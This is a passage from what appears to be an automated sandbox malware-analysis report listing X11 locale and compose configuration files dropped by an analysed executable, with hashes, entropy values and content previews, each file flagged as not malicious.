Preview:	.mkx..............D.......................l.......@........!......."......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........xfree86+aliases(qwerty).....?.MDSWESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLSYRQII5DLSGTFK11FK12HOMEUP..PGUPLEFTII65RGHTEND.DOWNPGDNINS.DELEKPENRCTLPAUSPRSCKPDVRALTBRK.LWINRWINMENUFK13FK14FK15FK16FK17KPDCLVL3ALT.KPEQSUPRHYPRXFERI02.NFERI04.AE13I06.I07.I08.I09.I0A.I0B.I0C.I0D.I0E.I0F.I10.I11.I12.I13.I14.I15.I16.I17.I18.I19.I1A.I1B.METAK59.I1E.I1F.I20.I21.I22.I23.I24.I25.I26.I27.I28.I29.K5A.I2B.I2C.I2D.I2E.I2F.I30.I31.I32.I33.I34.K5B.K5D.K5E.K5F.I39.I3A.I3B.I3C.K62.K63.K64.K65.K66.I42.I43.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\fonts

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.28022625367366
Encrypted:	false
SSDEEP:	3:wb4uQHvWLN:wbNb5
MD5:	B556414E1C6BD770243B7D4537328727
SHA1:	88F390FE048D1F7A8F9AA792DDF7104DC31BEEFD
SHA-256:	12201C3F73517FF4CFBA8C4E76DAE341D60B34884369A996D2FC976BB950EE9A
SHA-512:	C63E7B578919D8030CDE5701F04948D879494562FF4AD52FF5F80F8A7A9F97DA2539FCB3F091ABDE7651AAE908EF7E7AC4202CCDDF47BB70660AB7641B39102A
Malicious:	false
Preview:	!<symlink>/usr/share/fonts...

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\C\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\C\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	241
Entropy (8bit):	5.126553840017769
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsKnR8jLbu1nKwJJ1kWJL:/NqvnSIMhWAOeZeWJL
MD5:	133A7982C222729A109ADEB89267DC2F
SHA1:	D53660E039BC6B12ED8672416CE501351C1791EE
SHA-256:	8DB56149FB92E480D5EF17F2DF12891C5F6AC633BBF760ECB43B5118E92C84E1
SHA-512:	F68667A16016ABA105A46F9B8DAE0FAB9C20358AB289EF786EBD82C15693F8564FE39681998ED52EC51BB8DEFFF010F29B9828839342A166A053870EC990F689
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM.# XIM_open.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\C\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	650
Entropy (8bit):	5.238360250335142
Encrypted:	false
SSDEEP:	12:eEcewttckJWrRdsnbXE2XiIJMhRDYblcjdRahwqfDJ7/tRlGmvX7F6R9k:eEcfLEIMeQQwqfDJ7/tfGm/7F6zk
MD5:	0970CA5460368D3A40F32684A087245B
SHA1:	EE9BAA5CC8D14CA70BD3992013E2CC4A240D68A4
SHA-256:	7DAE104221E242112D65DF6B08B82D2727A916B509FF6899A8E37F922E0CC983
SHA-512:	DC2CEC339EC079132AE1C0B2E95C805106AE612FF08BB5354B2B58C707AB9E85DB1F25F17A174CCD0C0EF9F88350653DDD5799AD59D2DF33DFA422A0AFEE1D94
Malicious:	false
Preview:	# XLocale Database Sample for C..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..STRING.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}..# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-1:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\am_ET.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	16222
Entropy (8bit):	5.16084251111622
Encrypted:	false
SSDEEP:	192:wCa20iBcauXUPjQs3nwqdIh1PuJ7mxVRzC67AFegFdD2ZzggoDtM/0RYJIkhxbqZ:TZ8snSC6kmk/tziSKOaMOuasN
MD5:	8C83AB109213C70DF04E815216BD2425
SHA1:	94D25B616778F200673FF20530A848CD1F622D89
SHA-256:	84543E273BD397E284E65C7BBF613E588249369CCD44FCB225A309BD03BD9719
SHA-512:	7DD12631BE738FE21A059CA5DBAEDB60665D9C5C50210485C14A387116D6C2F6BEC716188061839B4CBE9B77C0CD180CD3595CBE9C96D90F91CE6F0431E25B62
Malicious:	false
Preview:	# .# UTF-8 (Unicode) compose sequence.# for Ethiopean layout..# Designed as a part of OLPC project.#.# 2007 Sergey Udaltsov <svu@gnome.org>.#...#.# Group I.#..# Modifier: /u/.<u> <U1200> : "." U1201 # key h (base character .).<u> <U1208> : "." U1209 # key l (base character .).<u> <U1218> : "." U1219 # key m (base character .).<u> <U1228> : "." U1229 # key r (base character .).<u> <U1230> : "." U1231 # key s (base character .).<u> <U1240> : "." U1241 # key q (base character .).<u> <U1260> : "." U1261 # key b (base character .).<u> <U1270> : "." U1271 # key t (base character .).<u> <U1290> : "." U1291 # key n (base character .).<u> <U12A0> : "." U12A1 # key x (base character .).<u> <U12A8> : "." U12A9 # key k (base character .).<u> <U12C8> : "." U12C9 # key w (base character .).<u> <U12D8> : "." U12D9 # key z (base character .).<u> <U12E8> : "." U12E9 # key y (base character .).<u> <U12F0> : "." U12F1 # key d (base character .).

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\am_ET.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\am_ET.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\armscii-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	4.628554488412629
Encrypted:	false
SSDEEP:	6:LeEL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LzAe6ldo0+62XdUmhn
MD5:	C89C21945253E33F32F06B976FA33AB0
SHA1:	459C59F84BFC6E014932CD3535DBA6A90D5D960B
SHA-256:	84B33E35803B466E6EFAF986C66B9B60C10B3E3AEC89B51A10EA94D0233F2AAE
SHA-512:	FE451A6FA0A4842D111EB821200AC4161B41DF0EA098CD5917AAD676F9169D6B47FCCB8964E9464989AEFFD57A76C139F592E66087F8B96B044F1B3DB8A9D77D
Malicious:	false
Preview:	#.# ARMSCII-8 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\armscii-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.171946698778509
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFmogbsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIM84oeCXoXKfXoc9RwvIo8WJb
MD5:	115B641FFFA96C677D518626257D9A83
SHA1:	335C0CA7F40F1DD2D6CA08AA7AFB774FEED687B0
SHA-256:	765790804AF149586C7E16A43C8FA222C0E4130B869BB95542CA1EABA5419CDE
SHA-512:	053DFA0A661A406680050CBAED318D227D912F3A0A05A6354D7305D36971359DEA84CAF9C6E1EFC6A9FE35ED2E7361B4835DC93D3DBB20E0577B7E0B23177C10
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for armscii-8 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\armscii-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	927
Entropy (8bit):	5.297841090941387
Encrypted:	false
SSDEEP:	24:e7WET28Xvt1v4uO4eXQ+fDJ7/q7GGm/7Fvc:s5Txv4uOxNwl
MD5:	E9BBB8346303D1714A8E817F373A702A
SHA1:	B790CC9E17BE7DABDFE9CBB348004EE81F7D7993
SHA-256:	A5C419D2D648FD86011B77A6E6E6C42D49967139E79FD416723D58B6031C5613
SHA-512:	D12DD0338A4B9463E376F360698FF01181ACBEE0D3C111D36BED7EE40E2D655994393CAB6F74A2E93BF8D97C1D6D3899BB19C8A4D92031D26863E58E0F7C7EE2
Malicious:	false
Preview:	# XLocale Database Sample for armscii-8..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ARMSCII-8:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset ARMSCII-8:GR..font ARMSCII-8:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.ARMSCII-8..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name ARMSCII-8.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding ARMSCII-8:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding ARMSCII-8:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\compose.dir

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	28965
Entropy (8bit):	5.0583808468714135
Encrypted:	false
SSDEEP:	384:sFlTaYPligbtNJEKeIt21aKwMinU0x4R+:sFlTaYPligb/JEKeIt21afnU0xV
MD5:	8DBACDECE2829CFE2FA294217EB35596
SHA1:	89220F4E81FCE9FC06546A4078DA7E36D8B38D72
SHA-256:	432A82CB363D44E8C006903DE655A58A4D1549B6080FF3CFBE881069A4B79BE0
SHA-512:	2A4706C4B3D280803514BEF198CD01C02821188556632F315AFCFBEF86D032EACC7D570215FCC486DFA432B595B59BBD7D7D112E9FC626A9C52FCE7A59D20F95
Malicious:	false
Preview:	#.#.This file contains compose table file name..#.The first word is the compose table file name and.#.the second word is full locale name..#.#.iso8859-1/Compose..C.en_US.UTF-8/Compose..C.UTF-8.iso8859-1/Compose..af_ZA.ISO8859-1.iso8859-6/Compose..ar_AA.ISO8859-6.iso8859-6/Compose..ar_BH.ISO8859-6.iso8859-6/Compose..ar_DZ.ISO8859-6.iso8859-6/Compose..ar_EG.ISO8859-6.iso8859-6/Compose..ar_IQ.ISO8859-6.iso8859-6/Compose..ar_JO.ISO8859-6.iso8859-6/Compose..ar_KW.ISO8859-6.iso8859-6/Compose..ar_LB.ISO8859-6.iso8859-6/Compose..ar_LY.ISO8859-6.iso8859-6/Compose..ar_MA.ISO8859-6.iso8859-6/Compose..ar_OM.ISO8859-6.iso8859-6/Compose..ar_QA.ISO8859-6.iso8859-6/Compose..ar_SA.ISO8859-6.iso8859-6/Compose..ar_TN.ISO8859-6.iso8859-6/Compose..ar_YE.ISO8859-6.iso8859-9e/Compose..az_AZ.ISO8859-9E.koi8-c/Compose...a3_AZ.KOI8-C.microsoft-cp1251/Compose.be_BY.CP1251.iso8859-5/Compose..bg_BG.ISO8859-5.microsoft-cp1251/Compose.bg_BG.CP1251.iso8859-1/Compose..br_FR.ISO8859-1.iso8859-14/Compose..br_FR.ISO8859-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\en_US.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	509803
Entropy (8bit):	5.324325553647583
Encrypted:	false
SSDEEP:	6144:UmOvYPr06xMUr7eqjH2ZhY4dUx9Av7iff4+xh34:YW4
MD5:	D519AF28D8E998C6B93106D6887B63BD
SHA1:	09B373F5A4053D8F14ED81177941804CF1B90738
SHA-256:	DAE1B2E20D68BDE25B0F72028881ED76FC45B9FD2E6E23B61EE213A0BD2ACD7F
SHA-512:	263BCDDF55855C4D836029C68C306AB1D12011B5C228679167598908A1BACE516065EAF36AC63DAD68558DD3592F4525E7E738EF7AB861672237D62C587CB721
Malicious:	false
Preview:	# UTF-8 (Unicode) compose sequence.# David.Monniaux@ens.fr.#..# Part 1 - Manual definitions..# Spacing versions of dead accents.<dead_tilde> <space> .: "~" asciitilde # TILDE.<dead_tilde> <dead_tilde> .: "~" asciitilde # TILDE.<dead_acute> <space> .: "'" apostrophe # APOSTROPHE.<dead_acute> <dead_acute> .: "." acute # ACUTE ACCENT.<dead_grave> <space> .: "`" grave # GRAVE ACCENT.<dead_grave> <dead_grave> .: "`" grave # GRAVE ACCENT.<dead_circumflex> <space> .: "^" asciicircum # CIRCUMFLEX ACCENT.<dead_circumflex> <dead_circumflex> .: "^" asciicircum # CIRCUMFLEX ACCENT.<dead_abovering> <space> .: "." degree # DEGREE SIGN.<dead_abovering> <dead_abovering> .: "." degree # DEGREE SIGN.<dead_macron> <space> .: "." macron # MACRON.<dead_macron> <dead_macron> .: "." macron # MACRON.<dead_breve> <space> .: "." breve # BREVE.<dead_breve> <dead_breve> .: ".

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\en_US.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.152512974040558
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsK6lk1CvJnU9FH6KwTjushnKwv:/NqvnSIMhW3zJUnaLjFj
MD5:	A3E000BB391B52D19C410B4D2BB4470D
SHA1:	5B17A76B48ADE1E757ADB632C079B741781BCBA9
SHA-256:	DF4A3BCF39EFEF842EF9B8B855F9EC29DA85613EB5133B0D764DA535F0C32F1A
SHA-512:	D4655FA1146B364C1340DD9F98085769ED2421313FD474D390CA0AE55C24B26E38E32CA70137760B1EF63D2B81B79A140A47A92CF9AB1E0296166E69B5BF136E
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlcUTF8Load._XlcUtf8Loader. # XLC_open.XOM.common/xomLTRTTB._XomGenericOpenOM.# XOM_open.XIM.common/xiiimp.._SwitchOpenIM..# XIM_open.XIM.common/xiiimp.._XimpLocalOpenIM.# XIM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\en_US.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4206
Entropy (8bit):	4.901386313661957
Encrypted:	false
SSDEEP:	48:UwdZdpLxPdNfusHxv34brdG76/w/BzrU213bk3eDyR96N87et5cGuAD44Fd6ABuC:0sRvieO+87e20
MD5:	320EC8FAAB467920E7F562A8005B4DEA
SHA1:	9C19EC240A701BC23456A611276F931A0D22A85B
SHA-256:	38888EE8FF1FEF34E3F00734D0863169C34FA6EFF0AF6C164210BBAD44D43166
SHA-512:	D93FDDFEBBB30B4167479E2229EA6FE3F763D9B7E8C4C0AF00FD6D1755B821414561B4E5A14FE9432BB9B26F795EC15D95B4990E5CF083DF6BF4D8732FDA858D
Malicious:	false
Preview:	# XLocale Database Sample for en_US.UTF-8.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET..on_demand_loading.True..object_name..generic..# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all..}.}.#.fs1 class (ISO8859 families).fs1.{..charset.{...name.ISO8859-1:GR..}..font.{...primary.ISO8859-1:GR..}.}.#.fs2 class (ISO8859 families).fs2.{..charset.{...name.ISO8859-2:GR..}..font.{...primary.ISO8859-2:GR..}.}.#.fs3 class (ISO8859 families).fs3.{..charset.{...name.ISO8859-3:GR..}..font.{...primary.ISO8859-3:GR..}.}.#.fs4 class (ISO8859 families).fs4.{..charset.{...name.ISO8859-4:GR..}..font.{...primary.ISO8859-4:GR..}.}.#.fs5 class (ISO8859 families).fs5.{..charset.{...name.ISO8859-5:GR..}..font.{...primary.ISO8859-5:GR..}.}.#.fs6 class (koi8-r).fs6.{..charset.{...name.KOI8-R:GR..}..font.{...primary.KOI8-R:GR..}.}.#.fs7 class (ISO8859 families).fs7.{..charset.{...name.ISO8859-7:GR..}..font.{...primary.ISO8859-7:GR..}.}.#.fs9

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\georgian-academy\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	314
Entropy (8bit):	4.561812067986837
Encrypted:	false
SSDEEP:	6:L4JKL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:L4J0Ae6ldo0+62XdUmhn
MD5:	89799AF6BF29002D53269A09BA7685BA
SHA1:	F847CA1BD866E9B990A128452DABAD12AF5EC367
SHA-256:	51713E0BB74265381E2437880A57352BCEE8295D088860101F7F468CC33374EF
SHA-512:	2BB5A80D683454D1A3167296521ABD2DBD473EFF0AA5B5A5169AE30EFAAF2F8D477F30B35C99640D67370A05960892A158F32E4EDB584923C06834E888D3CA8B
Malicious:	false
Preview:	#.# georgian-academy Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\georgian-academy\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.175575633265407
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFM1sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIM+moeCXoXKfXoc9RwvIo8WJb
MD5:	1403D19EA095B2E41E0D201655318484
SHA1:	43AFC8D88EB9A1F9EBE8ECCBB5BA25E564CBF1A7
SHA-256:	A7CB7E2F84444951109778015156B408D73EDB77A15FF694A4FB03F087997A98
SHA-512:	8252DB7948940D167DFB71485CF32E6E2E9606560187986D84EB2CF1582C44CE4FAEEC6D6BBD36C77BA0FCE7C5C02E84F18BFD9148CEB21279D78A5DA982B484
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for georgian-academy locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\georgian-academy\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	982
Entropy (8bit):	5.329362089834429
Encrypted:	false
SSDEEP:	12:e1ttckJWrRdsnUXE/2qXXlLJl/12dqnXTwuOyfFhSblcjdRaffDJ7/icVGmvX7Fi:e5WE/28Xl1vcuO4eQ+fDJ7/iGGm/7FFc
MD5:	D5477D34F25060F7759D3B10AF22E25D
SHA1:	75208E10598FC3BA3310D5D64B9439420E109CC2
SHA-256:	3CD8ACD365D358438D57D1B7DE04ADCC833EB6F7A3C02FAC8EE1A0E85AE19E69
SHA-512:	2AE105122F5E1E8C65D9417C0596F1DA9C483B81950037F16CDF7DEA6987E9C2E8DBE08D4609C1CA776CAB66243FFA7C6A4965DB7A2C8ED0F168CAEE90D3D92A
Malicious:	false
Preview:	# XLocale Database Sample for georgian-academy.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..GEORGIAN-ACADEMY:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset GEORGIAN-ACADEMY:GR..font GEORGIAN-ACADEMY:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.GEORGIAN-ACADEMY..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name GEORGIAN-ACADEMY.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding GEORGIAN-ACADEMY:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding GEORGIAN-ACADEMY:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\georgian-ps\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	4.551498945038768
Encrypted:	false
SSDEEP:	6:L4BxL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:L4FAe6ldo0+62XdUmhn
MD5:	7C44937CF22B829D0484B18EA889AAA0
SHA1:	C08DD1C4AD3A99ADABD96799AF3031E5A80C9A98
SHA-256:	660D9C3E3ADE22E952B9957DD559A3037DF1D2D9667E5DA4F9C418431E362568
SHA-512:	48FC67E32D2E3D2311C4F06904B763BC4427D8B110845E06643AF2C7C478B51B17438A198611BC0C5381A87C5630F0129AFA67F7C644B622A61A99E8368A434F
Malicious:	false
Preview:	#.# georgian-ps Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\georgian-ps\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.16639789726532
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFqIsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMAoeCXoXKfXoc9RwvIo8WJb
MD5:	4DEA5B0E2297D792CBC5619D9ED4ADCF
SHA1:	87B60869342C5B086B316C4CCC65B4B4EFD3598E
SHA-256:	758810FD49AFFE9EC5A9EE518710F72468003C8116BD08617B5DDD08C2C05035
SHA-512:	018BB443904539E2F164E91859A09E5100089F7578714BCEC3551F826D54894F5097057721970E813160BFAC9DE99CB4B756F258296E921C9B3C4EAFE58769FF
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for georgian-ps locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\georgian-ps\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	943
Entropy (8bit):	5.297820867901386
Encrypted:	false
SSDEEP:	24:eUWEmo8XjMyv5uO4pQ+fDJ7/coGGm/7Fj/:t5gv5uOaN3O
MD5:	7C9501898508F3FBC70347B6978A3B68
SHA1:	60EFE51F1A28F2F611C5910B71E22D62ECEB25C6
SHA-256:	13AE64AEE1F1F4A86BD92285EDC92D9A26C39005D5F9F042EDBAED44545DDFCB
SHA-512:	01F910E38BDFF281B20D9350E4EABB137C13A06AED3920AE7AC8ECEDC0F1661DC71E918A49D65D119074BCE56F178995447E1E8F288F3FC46A05EDB0B183B2C7
Malicious:	false
Preview:	# XLocale Database Sample for georgian-ps.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..GEORGIAN-PS:GL ...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset GEORGIAN-PS:GR..font GEORGIAN-PS:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.GEORGIAN-PS..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name GEORGIAN-PS.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding GEORGIAN-PS:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding GEORGIAN-PS:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ibm-cp1133\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	4.617539561042038
Encrypted:	false
